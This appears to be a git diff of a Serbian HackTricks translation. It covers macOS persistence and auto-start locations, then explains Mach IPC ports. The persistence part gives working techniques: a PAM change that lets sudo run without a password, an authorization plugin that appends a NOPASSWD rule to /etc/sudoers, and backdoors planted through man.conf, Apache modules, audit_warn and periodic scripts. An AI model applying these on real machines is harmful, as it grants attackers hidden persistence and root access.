Štaviše, sistemski podrazumevani dodaci uvek imaju prednost, tako da napadač može pristupiti samo datotekama koje nisu indeksirane od strane Apple-ovih `mdimporters`.
|
||||
{% endhint %}
|
||||
|
||||
Za kreiranje sopstvenog uvoznika možete početi sa ovim projektom: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) a zatim promeniti ime, **`CFBundleDocumentTypes`** i dodati **`UTImportedTypeDeclarations`** kako bi podržao ekstenziju koju želite da podržite i odraziti ih u **`schema.xml`**.\
|
||||
Zatim **promenite** kod funkcije **`GetMetadataForFile`** da izvrši vaš payload kada se kreira datoteka sa obrađenom ekstenzijom.
|
||||
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti da li je učitan **prateći logove** ili proverom **`mdimport -L.`**
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti kada se učita **prateći logove** ili proverom **`mdimport -L.`**
|
||||
|
||||
### ~~Panele za postavke~~
|
||||
### ~~Preference Pane~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ne izgleda da ovo više radi.
|
||||
|
@ -1191,10 +1239,10 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
|
||||
Ne izgleda da ovo više radi.
|
||||
|
||||
## Bajpasovanje korenskog peska
|
||||
## Bypass korijenskog peska
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći početne lokacije korisne za **bajpasovanje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.**
|
||||
Ovde možete pronaći početne lokacije korisne za **bypass peska** koji vam omogućava da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.**
|
||||
{% endhint %}
|
||||
|
||||
### Periodično
|
||||
|
@ -1216,7 +1264,7 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno preuzimanje privilegija.
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno eskalaciju privilegija.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1251,7 +1299,7 @@ total 8
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**:
|
||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, a naznačeni su u **`/etc/defaults/periodic.conf`**:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
|
@ -1285,7 +1333,7 @@ Proverite PAM module sa:
|
|||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
Postojana tehnika eskalacije privilegija zloupotrebom PAM-a jednostavna je kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početku linije:
|
||||
### Tehnika upornosti/escalacije privilegija zloupotrebom PAM-a je jednostavna kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početak linije:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1300,7 +1348,7 @@ account required pam_permit.so
|
|||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
I zbog toga će svaki pokušaj korišćenja **`sudo` raditi**.
|
||||
I zbog toga će svaki pokušaj korišćenja **`sudo` komande raditi**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je vrlo verovatno da će korisnik dobiti prozor zahteva za pristup.
|
||||
|
@ -1308,8 +1356,8 @@ Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je vrlo verovatno da
|
|||
|
||||
### Plugins za autorizaciju
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Objašnjenje: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali potrebno je biti root i napraviti dodatne konfiguracije
|
||||
|
@ -1323,7 +1371,7 @@ Objašnjenje: [https://posts.specterops.io/persistent-credential-theft-with-auth
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, proverite prethodna objašnjenja (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, proverite prethodne analize (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1338,7 +1386,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**Premestite** snop na lokaciju koja će biti učitana:
|
||||
**Premestite** snop na lokaciju koja će se učitati:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1385,7 +1433,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koji se koristi prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata.
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koji se koristi prilikom otvaranja fajlova sa dokumentacijom za man. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata.
|
||||
|
||||
Na primer, postavite u **`/private/etc/man.conf`**:
|
||||
```
|
||||
|
@ -1406,7 +1454,7 @@ touch /tmp/manconf
|
|||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali morate biti root i apache mora biti pokrenut
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Httpd nema dozvole
|
||||
* Httpd nema ovlašćenja
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -1422,7 +1470,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati ga važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili trebate **potpisati ga važećim Apple sertifikatom**, ili trebate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||
|
||||
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
|
||||
```bash
|
||||
|
@ -1460,7 +1508,7 @@ Kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvr
|
|||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
### Lokacije automatskog pokretanja
|
||||
### Startap stavke
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Ovo je zastarelo, tako da ništa ne bi trebalo da se pronađe u tim direktorijumima.**
|
||||
|
@ -1468,10 +1516,13 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
|
||||
**StartupItem** je direktorijum koji bi trebalo da bude smešten ili u `/Library/StartupItems/` ili u `/System/Library/StartupItems/`. Kada se ovaj direktorijum uspostavi, mora obuhvatiti dva specifična fajla:
|
||||
|
||||
1. **rc skript**: Shell skript koji se izvršava pri pokretanju.
|
||||
1. **rc skript**: Shell skripta koja se izvršava pri pokretanju.
|
||||
2. **plist fajl**, specifično nazvan `StartupParameters.plist`, koji sadrži različite konfiguracione postavke.
|
||||
|
||||
Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno smešteni unutar direktorijuma **StartupItem** kako bi proces pokretanja prepoznao i koristio ih.
|
||||
Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno smešteni unutar direktorijuma **StartupItem** kako bi proces pokretanja mogao da ih prepozna i koristi.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1493,13 +1544,15 @@ Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno sm
|
|||
{% tab title="superservicename" %}
|
||||
### Lokacije automatskog pokretanja na macOS-u
|
||||
|
||||
Na macOS-u, postoji nekoliko lokacija gde se servisi mogu automatski pokrenuti prilikom pokretanja sistema ili prijavljivanja korisnika. Ove lokacije uključuju sledeće:
|
||||
Na macOS-u, postoji nekoliko lokacija gde se servisi mogu automatski pokrenuti prilikom pokretanja sistema. Ove lokacije mogu biti iskorišćene za postavljanje zlonamernih servisa radi održavanja pristupa sistemu.
|
||||
|
||||
1. **LaunchDaemons** - Ovi servisi se pokreću na sistemskom nivou i ne pripadaju specifičnom korisniku.
|
||||
2. **LaunchAgents** - Ovi servisi se pokreću pri svakom prijavljivanju određenog korisnika.
|
||||
3. **StartupItems** - Ova zastarela metoda više nije podržana u novijim verzijama macOS-a.
|
||||
1. **LaunchAgents**: Ovo su korisnički specifični servisi koji se pokreću kada se korisnik prijavi. Nalaze se u `~/Library/LaunchAgents/` direktorijumu.
|
||||
|
||||
Kada vršite procenu bezbednosti sistema, važno je pregledati ove lokacije kako biste identifikovali potencijalne tačke za zloupotrebu ili neovlašćeno pokretanje servisa.
|
||||
2. **LaunchDaemons**: Ovo su sistemski servisi koji se pokreću bez obzira na to da li je korisnik prijavljen ili ne. Nalaze se u `/Library/LaunchDaemons/` direktorijumu.
|
||||
|
||||
3. **StartupItems**: Ovo je stariji mehanizam automatskog pokretanja koji je sada zastareo, ali još uvek podržan radi kompatibilnosti unazad. Nalaze se u `/Library/StartupItems/` direktorijumu.
|
||||
|
||||
Provera i upravljanje sadržajem ovih lokacija može pomoći u otkrivanju sumnjivih servisa i poboljšanju bezbednosti sistema.
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -1530,9 +1583,9 @@ Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogl
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Predstavljen od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
Uveden od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali ostaje pristupačno. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
|
||||
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršavanje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
||||
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1553,7 +1606,7 @@ XQuartz više **nije instaliran u macOS-u**, pa ako želite više informacija po
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tako je komplikovano instalirati kext čak i kao root da neću smatrati ovo bekstvo iz peska ili čak za postojanost (osim ako imate eksploit)
|
||||
Toliko je komplikovano instalirati kext čak i kao root da neću smatrati ovo bekstvo iz peska ili čak za postojanost (osim ako imate eksploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Lokacija
|
||||
|
@ -1565,7 +1618,7 @@ Da biste instalirali KEXT kao stavku za pokretanje, potrebno je da bude **instal
|
|||
* `/Library/Extensions`
|
||||
* KEXT fajlovi instalirani od strane softvera trećih lica
|
||||
|
||||
Možete prikazati trenutno učitane kext fajlove sa:
|
||||
Trenutno učitane kext fajlove možete listati sa:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1586,7 +1639,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je što binarni fajl nije postojao, pa ste mogli staviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je bio što binarni fajl nije postojao, pa ste mogli staviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
|
||||
Ne mogu više pronaći ovo na mom macOS-u.
|
||||
|
||||
|
@ -1607,7 +1660,7 @@ Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na
|
|||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Ovo ne radi u modernim verzijama MacOS-a**
|
||||
**Ovo ne funkcioniše u modernim verzijama MacOS-a**
|
||||
{% endhint %}
|
||||
|
||||
Takođe je moguće ovde postaviti **komande koje će biti izvršene pri pokretanju sistema.** Primer redovnog rc.common skripta:
|
||||
|
@ -1714,7 +1767,7 @@ esac
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,43 +6,43 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Mach poruke putem Portova
|
||||
## Mach poruke putem portova
|
||||
|
||||
### Osnovne informacije
|
||||
|
||||
Mach koristi **taskove** kao **najmanju jedinicu** za deljenje resursa, pri čemu svaki task može sadržati **više niti**. Ovi **taskovi i niti se mapiraju 1:1 na POSIX procese i niti**.
|
||||
|
||||
Komunikacija između taskova se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmjerne komunikacione kanale. **Poruke se prenose između portova**, koji deluju kao **redovi poruka** upravljani od strane kernela.
|
||||
Komunikacija između taskova se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmjerne komunikacione kanale. **Poruke se prenose između portova**, koji deluju kao **redovi poruka** upravljani od strane jezgra.
|
||||
|
||||
Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove procesa**. Ime mach porta zapravo predstavlja broj (pokazivač na kernel objekat).
|
||||
Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove procesa**. Ime mach porta zapravo predstavlja broj (pokazivač na jezgro objekta).
|
||||
|
||||
Proces takođe može poslati ime porta sa određenim pravima **drugom tasku** i kernel će napraviti ovaj unos u **IPC tabeli drugog taska**.
|
||||
Proces takođe može poslati ime porta sa određenim pravima **drugom tasku** i jezgro će napraviti ovaj unos u **IPC tabeli drugog taska**.
|
||||
|
||||
### Prava Porta
|
||||
### Prava portova
|
||||
|
||||
Prava porta, koja definišu koje operacije task može izvršiti, ključna su za ovu komunikaciju. Moguća **prava porta** su ([definicije odavde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
Prava portova, koja definišu koje operacije task može izvršiti, ključna su za ovu komunikaciju. Moguća **prava portova** su ([definicije odavde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Pravo za prijem**, koje omogućava prijem poruka poslatih na port. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo **jedno pravo za prijem za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za kraj za čitanje jedne cevi).
|
||||
* Task sa **Pravom za prijem** može primiti poruke i **kreirati Prava za slanje**, omogućavajući mu slanje poruka. Originalno samo **sopstveni task ima Pravo za prijem nad svojim portom**.
|
||||
* **Pravo za slanje**, koje omogućava slanje poruka na port.
|
||||
* Pravo za slanje se može **klonirati** tako da task koji poseduje Pravo za slanje može klonirati pravo i **dodeliti ga trećem tasku**.
|
||||
* **Pravo za jednokratno slanje**, koje omogućava slanje jedne poruke na port i zatim nestaje.
|
||||
* **Pravo za set porta**, koje označava _set portova_ umesto pojedinačnog porta. Izvlačenje poruke iz seta porta izvlači poruku iz jednog od portova koje sadrži. Setovi portova se mogu koristiti za osluškivanje više portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unix-u.
|
||||
* **Mrtvo ime**, koje nije stvarno pravo porta, već samo rezervisano mesto. Kada se port uništi, sva postojeća prava porta na portu postaju mrtva imena.
|
||||
* **Pravo na prijem**, koje omogućava prijem poruka poslatih na port. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo **jedno pravo na prijem za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za čitanje sa jednog kraja cevi).
|
||||
* Task sa **Pravom na prijem** može primati poruke i **kreirati Prava na slanje**, omogućavajući mu slanje poruka. Originalno, samo **sopstveni task ima Pravo na prijem nad svojim portom**.
|
||||
* **Pravo na slanje**, koje omogućava slanje poruka na port.
|
||||
* Pravo na slanje može biti **klonirano** tako da task koji poseduje Pravo na slanje može klonirati pravo i **dodeliti ga trećem tasku**.
|
||||
* **Pravo na jednokratno slanje**, koje omogućava slanje jedne poruke na port i zatim nestaje.
|
||||
* **Pravo na set portova**, koje označava _set portova_ umesto pojedinačnog porta. Skidanje poruke sa seta portova skida poruku sa jednog od portova koje sadrži. Set portova se može koristiti za osluškivanje više portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unix-u.
|
||||
* **Mrtvo ime**, koje nije stvarno pravo porta, već samo rezervacija. Kada se port uništi, sva postojeća prava porta na port postaju mrtva imena.
|
||||
|
||||
**Taskovi mogu preneti SEND prava drugima**, omogućavajući im da pošalju poruke nazad. **SEND prava takođe mogu biti klonirana, tako da task može duplicirati i dati pravo trećem tasku**. Ovo, zajedno sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između taskova.
|
||||
**Taskovi mogu preneti PRAVA NA SLANJE drugima**, omogućavajući im da šalju poruke nazad. **PRAVA NA SLANJE takođe mogu biti klonirana, tako da task može duplicirati i dati pravo trećem tasku**. Ovo, zajedno sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između taskova.
|
||||
|
||||
### Portovi Fajlova
|
||||
### Portovi fajlova
|
||||
|
||||
Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći Mach prava porta). Moguće je kreirati `fileport` iz datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
||||
Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći Prava na Mach portovima). Moguće je kreirati `fileport` od datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
||||
|
||||
### Uspostavljanje komunikacije
|
||||
|
||||
|
@ -50,28 +50,28 @@ Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac porto
|
|||
|
||||
Kako je pomenuto, da bi se uspostavio kanal komunikacije, uključen je **bootstrap server** (**launchd** na Mac-u).
|
||||
|
||||
1. Task **A** inicira **novi port**, dobijajući **pravo za prijem** u procesu.
|
||||
2. Task **A**, kao nosilac Prava za prijem, **generiše Pravo za slanje za port**.
|
||||
3. Task **A** uspostavlja **konekciju** sa **bootstrap serverom**, pružajući **servisno ime porta** i **Pravo za slanje** kroz proceduru poznatu kao registracija bootstrap-a.
|
||||
4. Task **B** interaguje sa **bootstrap serverom** da izvrši bootstrap **pretragu za ime servisa**. Ukoliko je uspešno, **server duplira Pravo za slanje** primljeno od Taska A i **prebacuje ga Tasku B**.
|
||||
5. Nakon što dobije Pravo za slanje, Task **B** je sposoban da **formuliše** poruku i pošalje je **Tasku A**.
|
||||
6. Za dvosmernu komunikaciju obično task **B** generiše novi port sa **Pravom za prijem** i **Pravom za slanje**, i daje **Pravo za slanje Tasku A** kako bi mogao slati poruke TASKU B (dvosmerna komunikacija).
|
||||
1. Task **A** pokreće **novi port**, dobijajući **PRAVO NA PRIJEM** u procesu.
|
||||
2. Task **A**, kao nosilac PRAVA NA PRIJEM, **generiše PRAVO NA SLANJE za port**.
|
||||
3. Task **A** uspostavlja **vezu** sa **bootstrap serverom**, pružajući **servisno ime porta** i **PRAVO NA SLANJE** kroz proceduru poznatu kao registracija bootstrap-a.
|
||||
4. Task **B** interaguje sa **bootstrap serverom** kako bi izvršio bootstrap **pretragu za servisnim** imenom. Ukoliko je uspešno, **server duplira PRAVO NA SLANJE** primljeno od Task A i **prebacuje ga Task B**.
|
||||
5. Nakon što dobije PRAVO NA SLANJE, Task **B** je sposoban da **formuliše** poruku i pošalje je **Task A**.
|
||||
6. Za dvosmernu komunikaciju obično task **B** generiše novi port sa **PRAVOM NA PRIJEM** i **PRAVOM NA SLANJE**, i daje **PRAVO NA SLANJE Task A** kako bi mogao slati poruke TASK B (dvosmerna komunikacija).
|
||||
|
||||
Bootstrap server **ne može autentifikovati** ime servisa koje tvrdi task. Ovo znači da bi **task** potencijalno mogao **predstavljati bilo koji sistemski task**, kao što je lažno **tvrditi ime autorizacionog servisa** a zatim odobravati svaki zahtev.
|
||||
Bootstrap server **ne može autentifikovati** servisno ime koje tvrdi task. Ovo znači da bi **task** potencijalno mogao **predstavljati bilo koji sistemski task**, kao što je lažno **tvrditi ime servisa za autorizaciju** a zatim odobravati svaki zahtev.
|
||||
|
||||
Zatim, Apple čuva **imena sistema pruženih servisa** u sigurnim konfiguracionim fajlovima, smeštenim u SIP-zaštićenim direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena servisa, takođe je sačuvana i **povezana binarna datoteka**. Bootstrap server će kreirati i držati **Pravo za prijem za svako od ovih imena servisa**.
|
||||
Zatim, Apple čuva **imena servisa koje pruža sistem** u sigurnim konfiguracionim fajlovima, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena servisa, takođe je sačuvana **povezana binarna datoteka**. Bootstrap server će kreirati i držati **PRAVO NA PRIJEM za svako od ovih imena servisa**.
|
||||
|
||||
Za ove unapred definisane servise, **proces pretrage se malo razlikuje**. Kada se ime servisa traži, launchd pokreće servis dinamički. Novi tok rada je sledeći:
|
||||
Za ove unapred definisane servise, **proces pretrage se malo razlikuje**. Kada se traži ime servisa, launchd pokreće servis dinamički. Novi tok rada je sledeći:
|
||||
|
||||
* Task **B** inicira bootstrap **pretragu** za imenom servisa.
|
||||
* Task **B** pokreće bootstrap **pretragu** za imenom servisa.
|
||||
* **launchd** proverava da li je task pokrenut i ako nije, ga **pokreće**.
|
||||
* Task **A** (servis) izvršava **bootstrap check-in**. Ovde, **bootstrap** server kreira Pravo za slanje, zadržava ga, i **prebacuje Pravo za prijem Tasku A**.
|
||||
* launchd duplira **Pravo za slanje i šalje ga Tasku B**.
|
||||
* Task **B** generiše novi port sa **Pravom za prijem** i **Pravom za slanje**, i daje **Pravo za slanje Tasku A** (servisu) kako bi mogao slati poruke TASKU B (dvosmerna komunikacija).
|
||||
* Task **A** (servis) izvršava **bootstrap check-in**. Ovde, **bootstrap** server kreira PRAVO NA SLANJE, zadržava ga, i **prebacuje PRAVO NA PRIJEM Task A**.
|
||||
* launchd duplira **PRAVO NA SLANJE i šalje ga Task B**.
|
||||
* Task **B** generiše novi port sa **PRAVOM NA PRIJEM** i **PRAVOM NA SLANJE**, i daje **PRAVO NA SLANJE Task A** (servisu) kako bi mogao slati poruke TASK B (dvosmerna komunikacija).
|
||||
|
||||
Međutim, ovaj proces se odnosi samo na unapred definisane sistemski taskove. Ne-sistemski taskovi i dalje funkcionišu kao što je opisano originalno, što potencijalno može omogućiti predstavljanje.
|
||||
|
||||
### Mach Poruka
|
||||
### Mach poruka
|
||||
|
||||
[Pronađite više informacija ovde](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
|
@ -86,9 +86,9 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesi koji poseduju _**pravo na prijem**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaoci** imaju _**pravo slanja**_ ili _**pravo slanja jednom**_. Pravo slanja jednom je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
||||
Procesi koji poseduju _**pravo na prijem**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaoci** dobijaju _**slanje**_ ili _**jednokratno pravo slanja**_. Jednokratno pravo slanja je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
||||
|
||||
Da bi postigli jednostavnu **bidirekcionalnu komunikaciju**, proces može odrediti **mach port** u mach **zaglavlju poruke** nazvan _port za odgovor_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na tu poruku. Bitovi u **`msgh_bits`** mogu se koristiti da **pokažu** da bi trebalo izvesti i preneti **pravo slanja jednom** za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
